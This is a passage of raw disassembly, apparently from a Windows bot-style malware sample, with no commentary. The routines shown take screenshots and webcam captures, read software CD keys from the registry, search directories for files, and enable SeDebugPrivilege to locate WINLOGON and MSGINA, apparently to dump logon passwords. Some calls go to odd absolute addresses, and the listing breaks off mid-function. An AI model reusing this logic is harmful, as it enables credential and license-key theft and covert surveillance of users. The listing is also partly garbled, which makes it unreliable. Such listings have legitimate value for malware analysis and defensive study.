ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_43AD84 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4087E7 push 8 push edi call dword_43ADA0 push 0Ah push edi mov [ebp+var_8], eax call dword_43ADA0 push 0Ch push edi mov [ebp+var_C], eax call dword_43ADA0 cmp eax, 8 mov [ebp+var_10], eax ja short loc_408615 push 18h push edi call dword_43ADA0 mov ebx, 100h jmp short loc_408617 ; --------------------------------------------------------------------------- loc_408615: ; CODE XREF: sub_4085B3+50j xor ebx, ebx loc_408617: ; CODE XREF: sub_4085B3+60j push edi call dword_43ADE4 cmp eax, esi mov [ebp+var_4], eax jz loc_4087CC mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_43ADDC cmp eax, esi mov [ebp+var_1C], eax jz loc_4087D7 push eax push [ebp+var_4] call dword_43AC74 cmp eax, esi jz loc_4087D7 cmp eax, 0FFFFFFFFh jz loc_4087D7 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_43ADE0 test eax, eax jz loc_4087D7 cmp ebx, esi jz short loc_4086D4 lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_43ACC8 mov ebx, eax loc_4086D4: ; CODE XREF: sub_4085B3+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi call near ptr 26508D5h nop cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4087B7 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax nop call near ptr 2640000h lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] nop call near ptr 2640000h cmp ebx, esi jz short loc_408799 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] call near ptr 2640000h nop loc_408799: ; CODE XREF: sub_4085B3+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] call near ptr 2640000h nop push [ebp+arg_0] nop call near ptr 26318FCh push 1 pop esi loc_4087B7: ; CODE XREF: sub_4085B3+1A2j push [ebp+var_1C] call dword_43ACFC push [ebp+var_4] call dword_43AC60 mov edi, [ebp+var_20] loc_4087CC: ; CODE XREF: sub_4085B3+70j push edi call dword_43AC60 mov eax, esi jmp short loc_4087E9 ; --------------------------------------------------------------------------- loc_4087D7: ; CODE XREF: sub_4085B3+C7j ; sub_4085B3+D9j ... push edi call dword_43AC60 push [ebp+var_4] call dword_43AC60 loc_4087E7: ; CODE XREF: sub_4085B3+23j xor eax, eax loc_4087E9: ; CODE XREF: sub_4085B3+222j pop edi pop esi pop ebx leave retn sub_4085B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087EE proc near ; CODE XREF: sub_40EE72+46EBp var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_439830 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_43ACF0 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_40882C mov eax, esi jmp loc_4089E2 ; --------------------------------------------------------------------------- loc_40882C: ; CODE XREF: sub_4087EE+35j push edi call dword_43AD38 test eax, eax jz short loc_408849 push ebx push [ebp+arg_4] push 40Ah push edi call dword_43ADF4 jmp short loc_40884B ; --------------------------------------------------------------------------- loc_408849: ; CODE XREF: sub_4087EE+47j xor eax, eax loc_40884B: ; CODE XREF: sub_4087EE+59j cmp eax, ebx jnz short loc_408856 loc_40884F: ; CODE XREF: sub_4087EE+88j ; sub_4087EE+BCj mov ebx, esi jmp loc_4089D7 ; --------------------------------------------------------------------------- loc_408856: ; CODE XREF: sub_4087EE+5Fj push edi call dword_43AD38 test eax, eax jz short loc_408873 lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_43ADF4 loc_408873: ; CODE XREF: sub_4087EE+71j cmp [ebp+var_20], ebx jz short loc_40884F push edi call dword_43AD38 test eax, eax mov edi, 42Ch jz short loc_408899 push ebx push ebx push edi push [ebp+var_4] call dword_43ADF4 mov [ebp+arg_4], eax jmp short loc_40889C ; --------------------------------------------------------------------------- loc_408899: ; CODE XREF: sub_4087EE+98j mov [ebp+arg_4], ebx loc_40889C: ; CODE XREF: sub_4087EE+A9j push [ebp+arg_4] call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_40884F push [ebp+arg_4] call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4088C3 push 1 pop ebx jmp loc_4089D7 ; --------------------------------------------------------------------------- loc_4088C3: ; CODE XREF: sub_4087EE+CBj push [ebp+var_4] call dword_43AD38 test eax, eax jz short loc_4088E0 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_43ADF4 loc_4088E0: ; CODE XREF: sub_4087EE+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_417390 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_4088FB mov ecx, 280h loc_4088FB: ; CODE XREF: sub_4087EE+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_408907 mov eax, 1E0h loc_408907: ; CODE XREF: sub_4087EE+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_43AD38 test eax, eax mov edi, 42Dh jz short loc_408951 push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_43ADF4 loc_408951: ; CODE XREF: sub_4087EE+153j push [ebp+var_4] call dword_43AD38 test eax, eax jz short loc_40896E push ebx push ebx push 43Dh push [ebp+var_4] call dword_43ADF4 loc_40896E: ; CODE XREF: sub_4087EE+16Ej push [ebp+var_4] call dword_43AD38 test eax, eax jz short loc_40898D push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_43ADF4 loc_40898D: ; CODE XREF: sub_4087EE+18Bj push [ebp+var_4] call dword_43AD38 test eax, eax jz short loc_4089AA push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_43ADF4 loc_4089AA: ; CODE XREF: sub_4087EE+1AAj push [ebp+var_8] call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push [ebp+var_4] call dword_43AD38 test eax, eax jz short loc_4089D7 push ebx push ebx push 40Bh push [ebp+var_4] call dword_43ADF4 loc_4089D7: ; CODE XREF: sub_4087EE+63j ; sub_4087EE+D0j ... push [ebp+var_4] call dword_43AE48 mov eax, ebx loc_4089E2: ; CODE XREF: sub_4087EE+39j pop edi pop esi pop ebx leave retn sub_4087EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4089E7 proc near ; CODE XREF: sub_40EE72+47A4p var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_439830 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_43ACF0 mov edi, eax cmp edi, ebx jnz short loc_408A25 mov eax, esi jmp loc_408C21 ; --------------------------------------------------------------------------- loc_408A25: ; CODE XREF: sub_4089E7+35j push edi call dword_43AD38 test eax, eax jz short loc_408A42 push ebx push [ebp+arg_4] push 40Ah push edi call dword_43ADF4 jmp short loc_408A44 ; --------------------------------------------------------------------------- loc_408A42: ; CODE XREF: sub_4089E7+47j xor eax, eax loc_408A44: ; CODE XREF: sub_4089E7+59j cmp eax, ebx jnz short loc_408A4F loc_408A48: ; CODE XREF: sub_4089E7+8Bj ; sub_4089E7+BCj mov ebx, esi jmp loc_408C18 ; --------------------------------------------------------------------------- loc_408A4F: ; CODE XREF: sub_4089E7+5Fj push edi call dword_43AD38 test eax, eax jz short loc_408A6F lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_43ADF4 loc_408A6F: ; CODE XREF: sub_4089E7+71j cmp [ebp+var_7C], ebx jz short loc_408A48 push edi call dword_43AD38 test eax, eax jz short loc_408A92 push ebx push ebx push 42Ch push edi call dword_43ADF4 mov [ebp+arg_4], eax jmp short loc_408A95 ; --------------------------------------------------------------------------- loc_408A92: ; CODE XREF: sub_4089E7+96j mov [ebp+arg_4], ebx loc_408A95: ; CODE XREF: sub_4089E7+A9j push [ebp+arg_4] call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_408A48 push [ebp+arg_4] call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_408ABC push 1 pop ebx jmp loc_408C18 ; --------------------------------------------------------------------------- loc_408ABC: ; CODE XREF: sub_4089E7+CBj push edi call dword_43AD38 test eax, eax jz short loc_408AD9 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_43ADF4 loc_408AD9: ; CODE XREF: sub_4089E7+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_417390 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_408AF4 mov ecx, 0A0h loc_408AF4: ; CODE XREF: sub_4089E7+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_408AFE push 78h pop eax loc_408AFE: ; CODE XREF: sub_4089E7+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_43AD38 test eax, eax jz short loc_408B43 push esi push [ebp+arg_4] push 42Dh push edi call dword_43ADF4 loc_408B43: ; CODE XREF: sub_4089E7+14Aj push edi call dword_43AD38 test eax, eax jz short loc_408B60 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_43ADF4 loc_408B60: ; CODE XREF: sub_4089E7+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_43AD38 test eax, eax jz short loc_408B9E lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_43ADF4 loc_408B9E: ; CODE XREF: sub_4089E7+1A3j push edi call dword_43AD38 test eax, eax jz short loc_408BB9 push [ebp+arg_0] push ebx push 414h push edi call dword_43ADF4 loc_408BB9: ; CODE XREF: sub_4089E7+1C0j push edi call dword_43AD38 test eax, eax jz short loc_408BD2 push ebx push ebx push 43Eh push edi call dword_43ADF4 loc_408BD2: ; CODE XREF: sub_4089E7+1DBj push edi call dword_43AD38 test eax, eax jz short loc_408BEF push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_43ADF4 loc_408BEF: ; CODE XREF: sub_4089E7+1F4j push [ebp+var_4] call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push edi call dword_43AD38 test eax, eax jz short loc_408C18 push ebx push ebx push 40Bh push edi call dword_43ADF4 loc_408C18: ; CODE XREF: sub_4089E7+63j ; sub_4089E7+D0j ... push edi call dword_43AE48 mov eax, ebx loc_408C21: ; CODE XREF: sub_4089E7+39j pop edi pop esi pop ebx leave retn sub_4089E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408C26 proc near ; CODE XREF: sub_40EE72+588Bp var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_42B894, ebx mov [ebp+var_C], 80h jz loc_408DC7 push esi push edi mov eax, offset off_42B894 mov esi, offset dword_42B8A0 mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)." loc_408C56: ; CODE XREF: sub_408C26+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_43AE08 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_43ACA4 test eax, eax jnz loc_408DAD mov eax, [esi] cmp eax, ebx jz loc_408D71 push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset aSS_3 ; "%s\\%s" push eax call sub_4172B0 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_4179A8 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_408DAD push eax loc_408CCF: ; CODE XREF: sub_408C26+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41900C add esp, 0Ch test eax, eax jz loc_408D66 push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_408CFC push [ebp+var_8] jmp short loc_408CCF ; --------------------------------------------------------------------------- loc_408CFC: ; CODE XREF: sub_408C26+CFj push 3Dh push dword ptr [esi+4] call sub_418F50 pop ecx test eax, eax pop ecx jz short loc_408D2A lea eax, [ebp+var_70] push offset asc_42CA98 ; "=" push eax call sub_418B6E push offset asc_42CA98 ; "=" push ebx call sub_418B6E add esp, 10h jmp short loc_408D2D ; --------------------------------------------------------------------------- loc_408D2A: ; CODE XREF: sub_408C26+E4j lea eax, [ebp+var_70] loc_408D2D: ; CODE XREF: sub_408C26+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_2F0] push eax call sub_40BF6D add esp, 18h loc_408D66: ; CODE XREF: sub_408C26+B9j push [ebp+var_8] call sub_417900 pop ecx jmp short loc_408DAD ; --------------------------------------------------------------------------- loc_408D71: ; CODE XREF: sub_408C26+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4172B0 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_2F0] push eax call sub_40BF6D add esp, 28h loc_408DAD: ; CODE XREF: sub_408C26+60j ; sub_408C26+A2j ... push [ebp+var_4] call dword_43AD74 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_408C56 pop edi pop esi loc_408DC7: ; CODE XREF: sub_408C26+19j pop ebx leave retn sub_408C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408DCA proc near ; DATA XREF: sub_40EE72+3D60o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_417AB0 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_408E1F lea eax, [ebp+var_114] push eax call sub_417AB0 pop ecx mov [ebp+eax+var_115], bl loc_408E1F: ; CODE XREF: sub_408DCA+3Fj lea eax, [ebp+var_218] push eax push offset unk_42CAEC lea eax, [ebp+var_49C] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+var_8], ebx jnz short loc_408E64 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40D679 add esp, 14h loc_408E64: ; CODE XREF: sub_408DCA+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_408EE5 add esp, 18h push eax lea eax, [ebp+var_49C] push offset unk_42CABC push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_408EC5 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40D679 add esp, 14h loc_408EC5: ; CODE XREF: sub_408DCA+D9j lea eax, [ebp+var_49C] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push ebx call near ptr 2610350h nop pop edi pop esi pop ebx sub_408DCA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408EE5 proc near ; CODE XREF: sub_408DCA+B9p ; sub_408EE5+9Ep var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_248] push offset aS_3 ; "%s\\*" push esi push eax call sub_41782A mov edi, dword_4240BC add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset aSS_3 ; "%s\\%s" jz short loc_408FA2 loc_408F31: ; CODE XREF: sub_408EE5+BBj test [ebp+var_144], 10h jz short loc_408F8E cmp [ebp+var_118], 2Eh jnz short loc_408F55 cmp [ebp+var_117], 0 jz short loc_408F8E cmp [ebp+var_117], 2Eh jz short loc_408F8E loc_408F55: ; CODE XREF: sub_408EE5+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx push esi push eax call sub_41782A push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_408EE5 add esp, 2Ch mov [ebp+arg_14], eax loc_408F8E: ; CODE XREF: sub_408EE5+53j ; sub_408EE5+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] nop call near ptr 26B0000h test eax, eax jnz short loc_408F31 loc_408FA2: ; CODE XREF: sub_408EE5+4Aj push [ebp+var_4] call near ptr 269049Eh nop push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_409028 loc_408FD9: ; CODE XREF: sub_408EE5+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset aFoundSS ; " Found: %s\\%s" push 200h push eax call sub_41782A push 1 lea eax, [ebp+var_54C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 28h lea eax, [ebp+var_144] push eax push esi nop call near ptr 26B0000h test eax, eax jnz short loc_408FD9 loc_409028: ; CODE XREF: sub_408EE5+F2j push esi nop call near ptr 269049Eh mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_408EE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409037 proc near ; DATA XREF: sub_40EE72+5237o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_40B78A cmp eax, esi mov [ebp+var_4], eax jz short loc_409076 cmp eax, 2 jz short loc_409076 push offset unk_42CD60 jmp loc_4091B5 ; --------------------------------------------------------------------------- loc_409076: ; CODE XREF: sub_409037+2Ej ; sub_409037+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx test eax, eax pop ecx jz loc_4091B0 push ebx push offset aNtdll_dll ; "NTDLL.DLL" call near ptr 26F06E4h nop mov esi, dword_4240DC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_43AA44, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_43AA38, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_43AC48, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_43AA40, eax call esi mov dword_43AA3C, eax call sub_409209 test eax, eax mov [ebp+arg_0], eax jz loc_409183 mov esi, dword_4240D8 mov edi, 400h mov ebx, offset dword_439A38 push edi push ebx push offset off_42CC9C call esi push edi mov edi, offset dword_43A238 push edi push offset off_42CC84 call esi cmp [ebp+var_4], 1 push offset dword_43AC50 push [ebp+arg_0] jnz short loc_40912F call sub_409392 jmp short loc_409134 ; --------------------------------------------------------------------------- loc_40912F: ; CODE XREF: sub_409037+EFj call sub_409539 loc_409134: ; CODE XREF: sub_409037+F6j pop ecx test eax, eax pop ecx jz short loc_40917C cmp dword_43AC50, 0 jnz short loc_409163 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_42CC0C push 200h push eax call sub_41782A add esp, 18h jmp short loc_409196 ; --------------------------------------------------------------------------- loc_409163: ; CODE XREF: sub_409037+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_409173 call sub_40966F jmp short loc_409178 ; --------------------------------------------------------------------------- loc_409173: ; CODE XREF: sub_409037+133j call sub_409706 loc_409178: ; CODE XREF: sub_409037+13Aj pop ecx push eax jmp short loc_409188 ; --------------------------------------------------------------------------- loc_40917C: ; CODE XREF: sub_409037+101j push offset unk_42CBC4 jmp short loc_409188 ; --------------------------------------------------------------------------- loc_409183: ; CODE XREF: sub_409037+B6j push offset unk_42CB80 loc_409188: ; CODE XREF: sub_409037+143j ; sub_409037+14Aj lea eax, [ebp+var_29C] push eax call sub_4172B0 pop ecx pop ecx loc_409196: ; CODE XREF: sub_409037+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx push [ebp+var_8] nop call near ptr 26E05F6h pop ebx jmp short loc_4091C3 ; --------------------------------------------------------------------------- loc_4091B0: ; CODE XREF: sub_409037+4Ej push offset unk_42CB3C loc_4091B5: ; CODE XREF: sub_409037+3Aj lea eax, [ebp+var_29C] push eax call sub_4172B0 pop ecx pop ecx loc_4091C3: ; CODE XREF: sub_409037+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4091EA push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_40D679 add esp, 14h loc_4091EA: ; CODE XREF: sub_409037+191j lea eax, [ebp+var_29C] push eax call sub_40BF6D push [ebp+var_18] call sub_417078 pop ecx pop ecx push esi call near ptr 2610350h nop pop edi pop esi sub_409037 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_409209 proc near ; CODE XREF: sub_409037+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_4240EC mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_4240E8 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_43AA44 push ebp push 0 call esi push eax nop call near ptr 2700000h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_43AA44 test eax, eax jnz short loc_4092F6 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4092F6 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4092F6 loc_409292: ; CODE XREF: sub_409209+EBj cmp word ptr [ebx+8], 5 jnz short loc_4092E9 push 0 push 0 call dword_43AA38 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_43AC48 test eax, eax jnz short loc_4092DA mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40930E loc_4092DA: ; CODE XREF: sub_409209+AAj test edi, edi jz short loc_4092E5 push edi call dword_43AA40 loc_4092E5: ; CODE XREF: sub_409209+D3j mov eax, [esp+28h+var_10] loc_4092E9: ; CODE XREF: sub_409209+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_409292 loc_4092F6: ; CODE XREF: sub_409209+6Dj ; sub_409209+7Aj ... xor edi, edi loc_4092F8: ; CODE XREF: sub_409209+17Dj push ebp push 0 call esi push eax nop call near ptr 2700000h mov eax, edi loc_409306: ; CODE XREF: sub_409209+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_40930E: ; CODE XREF: sub_409209+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_409377 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_409324: ; CODE XREF: sub_409209+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40938B push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_409369 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_409369: ; CODE XREF: sub_409209+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_409324 loc_409377: ; CODE XREF: sub_409209+10Fj test edi, edi jz short loc_409382 push edi call dword_43AA40 loc_409382: ; CODE XREF: sub_409209+170j mov edi, [esp+28h+var_4] jmp loc_4092F8 ; --------------------------------------------------------------------------- loc_40938B: ; CODE XREF: sub_409209+13Cj xor eax, eax jmp loc_409306 sub_409209 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409392 proc near ; CODE XREF: sub_409037+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 